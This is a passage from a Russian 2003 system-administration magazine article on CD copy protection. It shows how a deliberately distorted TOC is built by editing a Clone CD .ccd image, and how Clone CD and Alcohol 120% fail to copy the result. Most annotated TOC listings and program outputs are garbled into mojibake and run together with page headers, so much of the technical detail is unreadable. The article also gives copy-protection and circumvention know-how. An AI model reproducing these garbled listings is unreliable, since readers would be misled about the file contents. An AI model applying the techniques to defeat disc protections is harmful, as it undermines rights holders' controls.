Как мы видим, здесь присутствует как абсолютный,измеряемый в минутах, секундах, фреймах, так и LBA-ад-рес трека, представляющий собой не что иное, как по-рядковый номер сектора, считая от нуля. На самом деле,LBA-адрес – это «отсебятина», добавляемая в файл са-мим Clone CD, и в TOC LBA-адрес не хранится. Судя повсему, Clone CD вычисляет LBA-адрес исходя из сообра-жений удобства (работать с LBA-адресацией действитель-но намного комфортнее). Однако при внесении каких-либоизменений в CCD-файл за согласованием обоих типовадресов нам придется следить самостоятельно. Для пе-ревода абсолютных адресов в LBA можно воспользовать-ся следующей формулой:

TrackNo=0 ; -+AMin=4 ; -+ASec=120 ; -+AFrame=96 ; -+ALBA=26946 ; -+ – ATIP-èíôîðìàöèÿZero=0 ; -+PMin=0 ; -+PSec=0 ; -+PFrame=0 ; -+PLBA=-150 ; -+

[Entry 7] ; äàííûå ýëåìåíòà TOC ¹7Session=2 ; ýëåìåíò ñåññèè 2 (âîò ìû è äîáðàëèñü

; äî ñåññèè 2!)Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 2

; â PMin/òèï äèñêà â PSecADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=2 ; íîìåð ïåðâîãî òðåêà ñåññèè 2

; (íóìåðàöèÿ òðåêîâ ñêâîçíàÿ!)PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPLBA=8850 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD

; êàê LBA-àäðåñ, ò.å. ãëóïîñòü[Entry 8] ; äàííûå ýëåìåíòà TOC ¹8Session=2 ; ýëåìåíò ñåññèè 2Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 2 â PMinADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=2 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 2

; (â ñåññèè òîëüêî îäèí òðåê)PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPLBA=8850 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD

; êàê LBA-àäðåñ, ò.å. ãëóïîñòü[Entry 9] ; äàííûå ýëåìåíòà TOC ¹9Session=2 ; ýëåìåíò ñåññèè 2Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè

; â PMin:PSec:PFrameADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=3 ; \PSec=24 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè

; ñåññèè 2PFrame=23 ; /PLBA=15173 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 2

[Entry 10] ; äàííûå ýëåìåíòà TOC ¹10Session=2 ; ýëåìåíò ñåññèè 2Point=0x02 ; äàííûå òðåêà 2 ñåññèè 2ADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòü

PMin=3 ; \PSec=1 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 2

; ñåññèè 2PFrame=33 ; /PLBA=13458 ; LBA-àäðåñ íà÷àëà òðåêà 2 ñåññèè 2

[Entry 11] ; äàííûå ýëåìåíòà TOC ¹11Session=2 ; ýëåìåíò ñåññèè 2Point=0xb0 ; àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè

; â AMin:ASec:AFrameADR=0x05 ; Mode 5Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=4 ; \ASec=54 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé

; çàïèñûâàåìîé îáëàñòèAFrame=23 ; /ALBA=21923 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòèZero=1 ; êîëè÷åñòâî pointer Mode 5PMin=22 ; \PSec=14 ; + - àáñîëþòíûé àäðåñ ïîñëåäíåé

; âîçìîæíîé Lead-out-îáëàñòèPFrame=34 ; / (íà ñàìîì äèñêå íàïèñàíî 23 ìèí.,

; ýòî æ êàê íàäî îêðóãëÿòü 22:14:34)PLBA=99934 ; LBA-àäðåñ ïîñëåäíåé âîçìîæíîé

; Lead-out-îáëàñòè[TRACK 1] ; äàííûå òðåêà 1MODE=1 ; ðåæèì Mode 1INDEX 1=0 ; post-gap?

[TRACK 2] ; äàííûå òðåêà 2MODE=1 ; ðåæèì Mode 1INDEX 1=0 ; post-gap?

Ëèñòèíã 2. Àòðèáóòû òðåêà 1.

[Entry 3] ; äàííûå ýëåìåíòà TOC ¹3Session=1 ; ýëåìåíò ñåññèè 1Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1ADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=0 ; \PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1

; ñåññèè 1PFrame=0 ; /PLBA=0 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1

Page 40: 010 Системный Администратор 09 2003

38

администрирование

Ниже представлен вид атрибутов трека 1 до и послеискажения:

На самом деле, коварный автор схитрил и вместо вы-числений LBA-адреса сослался на тот факт, что его вер-сия Clone CD всегда использует абсолютные адреса, а LBAигнорирует.

Выбор абсолютного адреса первого трека произволь-ный, но осуществленный с таким расчетом, чтобы иска-женный адрес гарантированно вылетал за границы пер-вой сессии, Lead-out-область которой находится по адре-су 00:29:33 (см. элемент TOC №2).

Шаг четвертыйТеперь смонтируем искаженный образ диска на вирту-альный привод, создаваемый программой Alcohol 120%,и посмотрим, что из этого получилось. Конечно, нет ни-какой уверенности в том, что виртуальный привод по-ведет себя как настоящий, но ведь и настоящие приво-ды на искаженных дисках ведут себя по-разному! По-этому использовать Alcohol в качестве рабочего «ма-кетника» вполне допустимо, тем более что это эконо-мит уйму времени и болванок, ведь монтирование вир-туального диска в отличие от «прожига» болванки осу-ществляется мгновенно, если, конечно, оно вообще осу-ществляется… Вплоть до версии 1.4.3 включительно –самой свежей версии на момент написания этих строк –Alcohol органически не переваривал искаженные обра-зы дисков и отказывался их монтировать, апеллируя кнедоступности образа файла: «Unable to mount image.File not accessible». Судя по всему, Alcohol понимаетискаженный TOC слишком буквально, пытаясь отыскатьв файле-образе то, чего там заведомо нет (трека, на-чинающегося с адреса 10:02:00 и заканчивающегося ад-ресом 00:29:33 там нет точно!).

Какая жалость! Возможность монтирования дисковыхобразов с искаженным TOC позволила бы нам преодоле-вать защиту от копирования на любых пишущих приво-дах, а не только на тех, что поддерживают режим RAWDAO, – просто сбрасываем образ защищенного диска наболванку в виде обыкновенного файла и динамическимонтируем его Alcohol по мере необходимости. Выходит,что на проверку Alcohol оказывается гораздо менее крут,чем это кажется!

Шаг пятыйВ порядке эксперимента попробуем «прожечь» искажен-ный образ в режиме RAW SAO, в котором, как уже былосказано выше, корректная запись сессий с искаженнымTOC невозможна. Для гарантированного исключения воз-можных побочных эффектов желательно использовать при-вод, не поддерживающий RAW DAO чисто физически (нумало ли, вдруг копировщик в плане проявления чудес ис-кусственного интеллекта автоматически перейдет на болееподходящий режим записи, игнорируя наши установки).

Мастер записи образов копировщика Alcohol 120% вы-дает следующую информацию о записываемом образе:

Вот это номер! Если верить Alcohol, то длина первоготрека составляет целых 8 Тб. Этот чудовищный объем нето что на CD на DVD-диск не влезет! На самом деле, дли-на треков в TOC нигде явным образом не хранится, новычисляется как разница стартовых адресов двух смеж-ных треков (если же сессия содержит всего один трек, вход идет адрес Lead-out-области, примыкающий к треку).Искажение стартового адреса первого трека привело ктому, что разница стартовых адресов Lead-out-области иэтого самого трека стала отрицательной. Действительно,00:29:33 – 10:02:00 = 2058 – 45000 = – 42942, а если вспом-нить, что LBA-адреса по стандарту выражаются 32-раз-рядными неотрицательными числами, становится понят-но, как Alcohol получил такой неестественно огромныйобъем (отрицательные числа – это такие числа, чей стар-ший бит взведен, отсюда – маленькое отрицательное чис-ло – это очень большое положительное). Расчеты пока-зывают, что заявленное Alcohol значение в 8 Тб достига-ется лишь при использовании 43-битных переменных. Вотэто да! Alcohol спроектирован с запасом на будущее (а вбудущем нас, как известно, ждут диски с объемами от 30и более гигабайт, для адресации которых 32 бит оказы-вается уже недостаточно, плюс еще необходимо учестьрезерв, предназначенный для «отлова» отрицательныхдлин, образовавшихся в результате жестоких извраще-ний с TOC, ведь Alcohol – это защищенный копировщик!)

И вот наступает волнующий момент – момент заливкиискаженного образа на CD-R/CD-RW-диск (внимание! ис-пользуя CD-RW-диск, вы должны отдавать себе отчет в том,что можете его безвозвратно потерять! Если ваш единствен-ный пишущий привод откажется опознавать такой диск, очи-стка последнего окажется невозможной!). Благополучнопроглотив искаженный образ, Alcohol, безо всяких препи-рательств со своей стороны зажигает огонек индикации за-

Ëèñòèíã 3. Àòðèáóòû òðåêà 1 äî èñêàæåíèé (ñëåâà) è ïîñëåèñêàæåíèÿ (ñïðàâà).

[Entry 3] [Entry 3]Session=1 Session=1Point=0x01 Point=0x01ADR=0x01 ADR=0x01Control=0x04 Control=0x04TrackNo=0 TrackNo=0AMin=0 AMin=0ASec=0 ASec=0AFrame=0 AFrame=0ALBA=-150 ALBA=-150Zero=0 Zero=0PMin=0 --> PMin=10PSec=2 --> PSec=2PFrame=0 --> PFrame=0PLBA=0 --> PLBA=-1

Ëèñòèíã 4. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âû-äàâàåìàÿ Alcohol. Îáðàòèòå âíèìàíèå íà ðàçìåðû è àäðåñ ïåð-âîãî òðåêà ïåðâîé ñåññèè (îíè âûäåëåíû äðóãèì öâåòîì).

Òèï: Ôàéë-îáðàç Clone CDÏóòü: L:\Èìÿ: Image.ccd

Image.imgImage.sub

Ðàçìåð: 8.81 MBÑåññèé: 2Òðåêîâ: 2

Ñåññèÿ 01: Òðåê 01: Mode 1, Äëèíà: -42942(8191.92 GB), Àäðåñ: 045000Ñåññèÿ 02: Òðåê 02: Mode 1, Äëèíà: 001715(3.3 MB), Àäðåñ: 013458

Logical Sector Address=(((Minute∗60)+Seconds)∗75+Frame)–150

Page 41: 010 Системный Администратор 09 2003

39№9(10), сентябрь 2003

администрирование

писи (если, конечно, на вашем приводе он есть) и приступа-ет к делу. Проходит минута, другая… а индикатор прогрес-са по-прежнему остается на нуле. К исходу шестой минуты,когда пишущая головка достигает кромки диска, процессзаписи аварийно прерывается приводом и Alcohol, издавгрустное «бэмс», сигнализирует об аппаратной ошибке.

Просмотр «недорезанного» диска на приводах ASUSи NEC обнаруживает лишь первую сессию, а от второй невидно и следа. С приводом PHILIPS дела обстоят ещехуже – он вообще отказывается признавать засунутую внего штуку лазерным диском, и после непродолжитель-ного скрежета своих механических внутренностей, сопро-вождаемых натужными завываниями перебирающего раз-личные скорости мотора, индикатор «DISC IN» прощаль-но гаснет. «Прощально» в том смысле, что с испорчен-ной болванкой вам придется расстаться. Конечно, еслиэто всего лишь дешевый CD-R, то туда ему и дорога, нопотерять CD-RW жалко. К счастью, на NEC очистка дискапротекает успешно, и, воодушевленные этим обстоятель-ством, мы продолжаем свои издевательства вновь.

Копировщик Clone CD ведет себя в этом отношениииначе. Во-первых, он оценивает длину искаженного тре-ка в 4 294 868 664 Кб (см. листинг, приведенный ниже),что указывает на использование 32-разрядных перемен-ных и вытекающую отсюда невозможность отличать по-ложительные длины от отрицательных.

Во-вторых, обнаружив, что запись искаженного TOCна данном приводе невозможна, Clone CD корректируетTOC так, чтобы его облик принял человеческий вид. Врезультате процесс «прожига» протекает без каких-либоошибок и мы получаем как будто бы работоспособныйдиск. Стартовый адрес первого трека начинается там, гдекончается Lead-in-область первой сессии (точнее, pre-gapпервого трека начинается там, где кончается post-gapLead-in-области первой сессии, но это уже детали). Такойдиск нормально читается в любом приводе CD-ROM, но!Если защитный механизм прочитает содержимое TOC, онлегко обнаружит, что имеет дело с копией, но не с ориги-налом. Спрашивается: и на кой черт нам такое копирова-ние нужно?! Хоть бы предупреждение было какое… Лад-но, профессионалы запросто определят, в чем подвох, нов каком положении окажутся новички, и/или просто ква-

лифицированные пользователи, использующие Clone CDдля своих нужд? В общем мрак, одним словом…

Правда, в режиме RAW DAO нарезка искаженного обра-за протекает отлично и Clone CD не вносит в TOC никакойотсебятины, благодаря чему у нас образуется действитель-но защищенный CD, который мы сейчас и будем ломать.

Шаг шестойПросмотр защищенного диска под приводом NEC показы-вает все файлы, даже те, что принадлежат первому тре-ку – тому самому треку, чей стартовый адрес жестоко ис-кажен. Двойной щелчок мышью доказывает, что файлыне только присутствуют в каталоге, но и успешно открыва-ются ассоциированным с ними приложениям и, судя повсему, выглядят вполне нормальными. Нашу душу начина-ют грызть смутные сомнения: действительно ли пишущийпривод записал стартовый адрес первого трека таким, ка-ким мы просили, или молчаливо исправил его на лету?

Для ответа на этот вопрос мы должны исследовать гео-метрию диска, т.е., попросту говоря, прочитать TOC. Запус-каем уже полюбившийся нам Roxio Easy CD Creator и в меню«CD» находим пункт «CD Information». Щелкаем по немумышкой, и на экран тут же выпрыгивает диалоговое окно сраскладкой диска (внимание! не все программы способны«переваривать» искаженный TOC! Easy CD Creator это уме-ет, а вот, например, Record NOW! – нет. В отсутствии подхо-дящей утилиты вы можете воспользоваться программойraw.TOC.exe, поставляемой вместе с этой книгой).

Как и следовало ожидать, стартовый адрес первоготрека лежит далеко за пределами своей «родной» сес-сии, и его длина, будучи выраженная положительным чис-лом, значительно превышает доступную емкость диска(см. рис. ниже). Так что все наши волнения абсолютно бе-зосновательны!

Постойте, но как же тогда осуществляется доступ к со-держимому первого трека? А кто вам вообще сказал, чтолазерный диск адресуется по трекам?! Основной адреса-цией лазерного диска с данными является сектор. Абсо-лютный же адрес всякого сектора однозначно определяет-ся принадлежащим ему Q-каналом подкода (с учетом не-

Ëèñòèíã 5. Ñâîäíàÿ èíôîðìàöèÿ ïî çàïèñûâàåìîìó îáðàçó, âû-äàâàåìàÿ Clone CD. Îáðàòèòå âíèìàíèå íà ðàçìåð ïåðâîãî òðå-êà ïåðâîé ñåññèè (îí âûäåëåí äðóãèì öâåòîì).

ÈÍÔÎÐÌÀÖÈß Î ÔÀÉËÅ-ÎÁÐÀÇÅ:

×èñëî ñåññèé: 2Çàíÿòî íà äèñêå: 34850 ÊáàéòÑåêòîðîâ: 15173Âðåìÿ: 03:22:23 (ìèí:ñåê:êàäð)

ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1:

Ðàçìåð ñåññèè: 4726 Êáàéò×èñëî òðåêîâ: 1Pregap: Äàííûå Mode 1, ðàçìåð: 103359 ÊáàéòTrack 1: Äàííûå Mode 1, ðàçìåð: 4294868664 Êáàéò

ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 2:

Ðàçìåð ñåññèè: 3939 Êáàéò×èñëî òðåêîâ: 1Track 2: Äàííûå Mode 1, ðàçìåð: 3939 Êáàéò

Ðèñóíîê 1. Îòðèöàòåëüíàÿ äëèíà ïåðâîãî òðåêà ñâîäèò øòàòíûéêîïèðîâùèê ñ óìà

Page 42: 010 Системный Администратор 09 2003

40

администрирование

совпадения границ секций и секторов максимально воз-можное расхождение, допускаемое стандартом, составля-ет 1 сек, т.е. 75 секторов, поэтому этот способ использует-ся лишь для грубого позиционирования оптической голов-ки). Точная наводка на цель выполняется непосредствен-но по самому секторному заголовку, в явном виде содер-жащему его абсолютный адрес. Номера треков в процессеобработки сектора вообще не участвуют, вернее могут ине участвовать… Но могут ведь и участвовать! Все зави-сит от электронной начинки привода и его микропрограмм-ной прошивки. Как именно они в этом участвуют – сие естьвеликая тайна разработчиков привода, и простым смерт-ным ее понять не дано. Но так или иначе, встретив некор-ректный TOC, некоторые приводы запутываются, и в строй-ных битовых рядах возникает настоящая сумятица.

Результаты тестирования трех моих приводов следую-щие: NEC, как уже говорилось выше, показывает содер-жимое обоих секций, корректно обрабатывая их содержи-мое. ASUS показывает только первую – искаженную – сес-сию и в упор не видит вторую, делая ее недоступной дажена секторном уровне. Зато файлы первой сессии обраба-тываются вполне корректно. PHILIPS, напротив, видит обесессии, но корректно обрабатывает файлы лишь последнейиз них (т.е. той, что не искажена). Искаженная сессия дос-тупна на секторном уровне, но нестабильно. Иногда безвсяких видимых причин PHILIPS и возвращает лишенныйвсякого смысла мусор.

Мораль: защитные механизмы, базирующиеся на ис-каженном TOC, не могут закладываться ни на одну из сес-сий. Поэтому обе сессии должны дублировать содержи-мое друг друга – авось хоть одну из них привод пользова-теля да прочтет. Какой же тогда в этой защите смысл? Авот какой – пускай защита не может без риска для жизнипривязаться к сессиям, она может привязаться к сыромусодержимому TOC. О том, как осуществить такую при-вязку на практике, мы поговорим чуточку позднее, а покапопробуем скопировать защищенный диск нашими фа-воритами – Clone CD и Alcohol 120%.

Автоматическое копированиеи обсуждение его результатовВ какой бы привод защищенный диск ни был вставлен, CloneCD выдает неизменно постоянный результат, не имеющийничего общего с реальной действительностью. По его скром-ному мнению, диск содержит всего одну сессию с общейпротяженностью в 4,6 Мб, но зато размер единственноготрека последней составляет ни много ни мало – 3,9 Тб!

Еще до завершения процесса копирования нас начи-нают одолевать стойкие сомнения или, я бы даже сказал,непоколебимая уверенность в том, что диск будет скопи-рован неправильно. И действительно, чего мы опасались,то мы и получили! Давайте создадим образ скопирован-ного диска в плане сравнения копии TOC с оригиналом.

Ëèñòèíã 6. Òàêèì âèäèò çàùèùåííûé äèñê êîïèðîâùèê Clone CD.Îáðàòèòå âíèìàíèå, ÷òî îí ðàñïîçíàë ëèøü îäíó ñåññèþ èç äâóõ(ïåðâóþ), äà è òî íåïðàâèëüíî.

ÈÍÔÎÐÌÀÖÈß Î CD  ÄÈÑÊÎÂÎÄÅ:×èñëî ñåññèé: 1Çàíÿòî íà äèñêå: 4726 ÊáàéòÑåêòîðîâ: 2058Âðåìÿ: 00:27:33 (ìèí:ñåê:êàäð)

ÈÍÔÎÐÌÀÖÈß Î ÑÅÑÑÈÈ 1:

Ðàçìåð ñåññèè: 4726 Êáàéò×èñëî òðåêîâ: 1Pregap: Äàííûå Mode 1, ðàçìåð: 103359 ÊáàéòTrack 1: Data, ðàçìåð: 4294868664 Êáàéò

Ëèñòèíã 7. Îáðàç çàùèùåííîãî äèñêà, ñíÿòûé ïðîãðàììîéClone CD (íåñîîòâåòñòâóþùèå ïîëÿ âûäåëåíû äðóãèì öâåòîì).

[CloneCD] ; äàííûå î êîïèðîâùèêåVersion=3 ; âåðñèÿ Clone CD

[Disc] ; äàííûå î äèñêåTocEntries=7 ; êîëè÷åñòâî ýëåìåíòîâ TOC = 7

; (â îðèãèíàëå áûëî 12)Sessions=1 ; êîë-âî ñåññèé = 1

; (â îðèãèíàëå áûëî 2)DataTracksScrambled=0 ; ïîëå DVDCDTextLength=0 ; CD-Text â ïîëÿõ ïîäêîäà

; Lead-in-îáëàñòè îòñóòñòâóåò[Session 1] ; äàííûå ñåññèè 1PreGapMode=1 ; òèï òðåêà == Mode 1PreGapSubC=0 ; äàííûõ ïîäêàíàëà – íåò

[Entry 0] ; äàííûå ýëåìåíòà TOC ¹0Session=1 ; ýëåìåíò ñåññèè 1Point=0xa0 ; íîìåð ïåðâîãî òðåêà ñåññèè 1

; â PMin/òèï äèñêà â PSecADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=1 ; íîìåð ïåðâîãî òðåêà ñåññèè 1PSec=0 ; òèï äèñêà CD-DA è CD-ROM-äèñê â Mode 1PFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD

; êàê LBA-àäðåñ, ò.å. ãëóïîñòü[Entry 1] ; äàííûå ýëåìåíòà TOC ¹1Session=1 ; ýëåìåíò ñåññèè 1Point=0xa1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1 â PMinADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=1 ; íîìåð ïîñëåäíåãî òðåêà ñåññèè 1

; (â ñåññèè òîëüêî îäèí òðåê)PSec=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPFrame=0 ; íå íåñåò íèêàêîé ïîëåçíîé èíôîðìàöèèPLBA=4350 ; íîìåð òðåêà, ïðåäñòàâëåííûé Clone CD

; êàê LBA-àäðåñ, ò.å. ãëóïîñòü[Entry 2] ; äàííûå ýëåìåíòà TOC ¹2Session=1 ; ýëåìåíò ñåññèè 1Point=0xa2 ; ïîëîæåíèå Lead-out-îáëàñòè

; â PMin:PSec:PFrameADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=0 ; \PSec=29 ; + - àáñîëþòíûé àäðåñ Lead-out-îáëàñòè

; ñåññèè 1PFrame=33 ; /PLBA=2058 ; LBA-àäðåñ Lead-out-îáëàñòè ñåññèè 1

Page 43: 010 Системный Администратор 09 2003

41№9(10), сентябрь 2003

администрирование

Сокращение сессий с двух до одной очень сильно сму-щает. Куда девалась вторая – неискаженная(!) сессия, во-обще непонятно. И, хотя искаженные данные первого трека

сохранились, оказались неожиданно измененными поляApplication Code и ATIP (и это несмотря на то, что запись про-изводилась на ту же самую CD-RW-болванку, что и раньше,хотя ее «прожиг» осуществлялся различными приводами).

Как следствие: скопированный диск оказывается рабо-тоспособен не на всех приводах (ASUS и NEC его прочита-ют, а вот PHILIPS – нет), к тому же защите ничего не стоитпрочитать текущий TOC и сравнить его с эталонным.

Короче говоря, «факир был пьян, и фокус не удался».Что ж, попробуем обратиться за помощью к Alcohol– ужон-то должен наверняка с этим справиться. Действитель-но, Alcohol видит обе сессии: как искаженную, так и неис-каженную, однако по малопонятным причинам сохраняетв образ лишь вторую из них (Clone CD сохранял первую).Ну что это за зоопарк, а? Содержимое TOC скопированно-го диска можно даже и не сравнивать – там будет далеконе то, что защита собирается ожидать. И напрасно! Содер-жимое TOC, снятое Alcohol, практически полностью соот-ветствует оригиналу. Единственно, в чем ошибся Alcohol, –определил тип pre-gap обоих треков не как Mode 1, но какMode 2. Впрочем, в силу отсутствия в образе первой сес-сии полученная с его помощью копия диска все равно ока-зывается неработоспособной.

[Entry 3] ; äàííûå ýëåìåíòà TOC ¹3Session=1 ; ýëåìåíò ñåññèè 1Point=0x01 ; äàííûå òðåêà 1 ñåññèè 1ADR=0x01 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=0 ; \ASec=0 ; + - àáñîëþòíûé àäðåñ òåêóùåãî òðåêàAFrame=0 ; /ALBA=-150 ; LBA-àäðåñ òåêóùåãî òðåêàZero=0 ; ýòî ïîëå äîëæíî áûòü ðàâíî íóëþ,

; êàê îíî è åñòüPMin=10 ; \PSec=2 ; + - àáñîëþòíûé àäðåñ íà÷àëà òðåêà 1

; ñåññèè 1PFrame=0 ; /PLBA=45000 ; LBA-àäðåñ íà÷àëà òðåêà 1 ñåññèè 1

[Entry 4] ; äàííûå ýëåìåíòà TOC ¹4Session=1 ; ýëåìåíò ñåññèè 1Point=0xb0 ; ïîçèöèÿ ñëåäóþùåé çàïèñûâàåìîé îáëàñòè

; â AMin:ASec:AFrameADR=0x05 ; q-Mode == 1Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=2 ; \ASec=59 ; + - àáñîëþòíûé àäðåñ ñëåäóþùåé

; çàïèñûâàåìîé îáëàñòèAFrame=33 ; /ALBA=13308 ; LBA-àäðåñ ñëåäóþùåé çàïèñûâàåìîé îáëàñòèZero=3 ; êîëè÷åñòâî pointer â Mode 5PMin=22 ; \PSec=14 ; + - àáñîëþòíûé àäðåñ ìàêñèìàëüíîé

; çàïèñûâàåìîé îáëàñòèPFrame=34 ; /PLBA=99934 ; LBA-àäðåñ ìàêñèìàëüíîé çàïèñûâàåìîé

; îáëàñòè[Entry 5] ; äàííûå ýëåìåíòà TOC ¹5Session=1 ; ýëåìåíò ñåññèè 1Point=0xc0 ; ñòàðòîâûé àäðåñ Lead-in-îáëàñòè

; Hybrid-äèñêà (åñëè îí åñòü)ADR=0x05 ; Mode 5 (Îðàíæåâàÿ êíèãà)Control=0x04 ; äèñê ñ äàííûìè, çàïðåùåííûé

; äëÿ êîïèðîâàíèÿTrackNo=0 ; òðåê, êîòîðûé ìû ñåé÷àñ ÷èòàåì, –

; ýòî Lead-in-òðåê (ò.å. TOC)AMin=162 ; ðåêîìåíäóåìàÿ ìîùíîñòü ëàçåðà äëÿASec=200 ; Application code (â îðèãèíàëå çäåñü

; áûëî 128)AFrame=224 ; â îðèãèíàëå çäåñü áûëî 140ALBA=294074 ; LBA-"àäðåñ" òðåõ ïðåäûäóùèõ ïîëåéZero=0 ; çàðåçåðâèðîâàíîPMin=97 ; \PSec=27 ; + - àáñîëþòíûé àäðåñ Lead-in-îáëàñòè

; Hybrid-äèñêàPFrame=21 ; / (àäðåñ ëåæèò çà ïðåäåëàìè äèñêà,

; ò.å. Hybrid-äèñêà íåò)PLBA=-11604 ; LBA-àäðåñ Lead-in-îáëàñòè Hybrid

